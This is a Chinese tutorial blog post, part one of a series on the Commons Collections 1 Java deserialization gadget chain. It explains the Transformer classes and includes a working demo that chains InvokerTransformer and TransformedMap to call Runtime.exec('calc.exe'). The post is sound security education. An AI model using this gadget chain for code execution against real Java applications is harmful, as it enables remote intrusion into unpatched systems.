Java篇Commons Collections 1 (1)

CommonsCollections 1 (1)

前面差不多把该梳理的基础知识梳理完了,那么接下来我们就正式进入到cc链的总结了,确实它比较难也不太好理解,但是借用p神的一句话就是逃不过的还是要学,CommonCollections利⽤链⼏乎是反序列化学习不可逃过的⼀关

Java中的命令执行

我们先来看看在Java中的命令执行,因为我们最终的目的肯定是要执行命令的,而Java中最常用的就是使用Runtime类,首先调用里面的getRuntime方法创建对象,然后再调用里面的exec方法即可执行命令:

1
2
3
4
5
6
7
8
import java.io.IOException;

public class cc1_test {
public static void main(String[] args) throws IOException {
Runtime cmd = Runtime.getRuntime();
cmd.exec("calc.exe");
}
}

image.png

然后我们再利用前面讲过的反射把这段代码再重新写一次,首先需要利用getMethod去获取这个类的getRuntime方法,进而利用这个方法创建Runtime对象r,再同样用getMethod去获取exec方法,最后执行对象rexec方法即可,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class cc1_test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
Method execMethod = Runtime.class.getMethod("exec", String.class);
execMethod.invoke(r,"calc.exe");
}
}

image.png

Apache Commons Collections

在正式进入cc1的学习之前,我们先来看看什么是 Commons Collections,虽然说这个跟核心知识点关系不是很大,但还是了解了解嘛

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码

其实说简单一点,就是在Java最基础的数据结构:集合"map"的基础上,做了一些扩展,扩展了一些接口和类,主要有有序map之LinkedMap、双向Map之BidiMap、多值Map之MultiMap、“懒加载”Map之LazyMap等等,方便程序员使用

Transformer

Transformer是一个接口,它里面只有一个待实现的方法就是transform方法,这个方法的参数是一个对象

1
2
3
public interface Transformer {
public Object transform(Object input);
}

TransformedMap

TransformedMap是一个类,在这个类中封装了一个decorate方法,它是用来修饰Java中的标准数据结构Map,当向被修饰过的Map中添加新元素时,它就会执行一个回调函数;这个回调并不是传统意义上的回调函数,而是相当于执行一个对象里面的transform方法,前提是这个对象的类要实现了Transformer接口哈,可能不太好懂,看看代码:

1
2
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调,当我们向outerMap中添加新元素时,它就会调用keyTransformervalueTransformer里面的transform方法

ConstantTransformer

ConstantTransformer同样是一个实现了Transformer接口的一个类,这个类很简单,它有一个带参的构造函数,而参数类型是对象,当你传入一个对象后,它会在transform方法中再将这个对象返回出来,看看代码一下就懂了:

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

就是将传入的对象constantToReturntransform方法中返回

InvokerTransformer

InvokerTransformer也是实现了Transformer接口的一个类,甚至我认为是cc链中最重要的一个类,因为它可以执行任意的方法,这就让我们的RCE有了实现的可能;在创建InvokerTransformer对象时,需要传入三个参数,第一个是想要执行的方法名,第二个是这个方法所需要参数的参数类型,第三个是这个方法中具体的参数;当调用InvokerTransformer类中的transform方法时,将会执行我们想要执行的方法,那具体是哪个对象中的方法呢?是通过transform方法中的参数传入进去的,接下来看看代码,首先是构造方法:

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

就是将三个参数做一个赋值而已, 接下来就来看它的回调transform方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);}
catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' does not exist");}
catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' cannot be accessed");}
catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" +iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}
}

这样它就可以执行input对象的iMethodName⽅法了,原理其实也挺简单,就是利用反射先获取这个方法,然后再执行input对象中的这个方法就行了

ChainedTransformer

前面我们讲了ConstantTransformerInvokerTransformer两个类,一个可以返回一个类的对象,另一个可以执行对象中的方法,那么我们是不是就可以尝试执行Runtime类中的exec方法呢?很显然,我们还需要一个类将这两个串起来,让ConstantTransformer类返回的对象,能作为参数,进入到InvokerTransformer类的transform方法中,这样就可以了,这时候就需要拿出我们的ChainedTransformer类了;ChainedTransformer类同样也是实现了Transformer接口的一个类,它就是将内部多个实现了Transformer接口的类串在了一起,并且将前一个回调函数transform返回的结果,作为后一个回调函数transform的参数传入,看看它的代码:

1
2
3
4
5
6
7
8
9
10
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

挺简单的一个逻辑,就是不停的调transform,接下来偷一张p神给的示意图:

image.png

总结

通过前面提到的四个类,就可以实现一个cc1链简单的demo了,这个也是p神的原创代码,在这个demo中暂时还没有涉及反序列化的知识;我们再来理一理这个思路,再给出最终的代码:首先我们需要一个数组,这个数组中包含两个对象,一个是ConstantTransformer对象,用来返回Runtime对象;另一个是InvokerTransformer对象,用来执行Runtime对象中的exec方法;然后将这个数组用ChainedTransformer对象封装起来,让它构成一个回调;最后将这个ChainedTransformer对象用TransformedMap.decorate包装起来,包装成一个Map,当我们向这个Map中添加新元素时,就会调用ChainedTransformer对象中的transform方法,然后调用ConstantTransformer对象中的transform方法,最后调用InvokerTransformer对象中的transform方法,从而成功执行exec方法

接下来看完整代码,很多地方都有注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1_1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//Transformer是⼀个接⼝,只有⼀个待实现的⽅法transform,这里是创的一个数组,里面有两个元素
new ConstantTransformer(Runtime.getRuntime()),
//ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
//InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序列化能执⾏任意代码的关键
//实例化InvokerTransformer时,三个参数:第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表
//这里的transform内有一个参数input,它就是执行input对象的待执⾏的⽅法,也就是返回上面的Runtime对象
};
Transformer transformerChain = new ChainedTransformer(transformers);
//ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
//TransformedMap⽤于对Map做⼀个修饰,对innerMap进⾏修饰,传出的outerMap即是修饰后的Map
//TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个回调
outerMap.put("name","Arsene.Tang");
//被修饰过的Map在添加新的元素时,执⾏回调
}
}

image.png

在最后特别感谢p神大师傅的文章,因为文章在它知识星球里面所以我也没法发出来,但大家可以选择购买他的知识星球去里面看,里面有用的东西还是挺多的,像cc1链网上文章很多,但大多讲的都不是太清楚,容易看完之后很懵,但p神的文章思路就很清晰,写的很棒

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信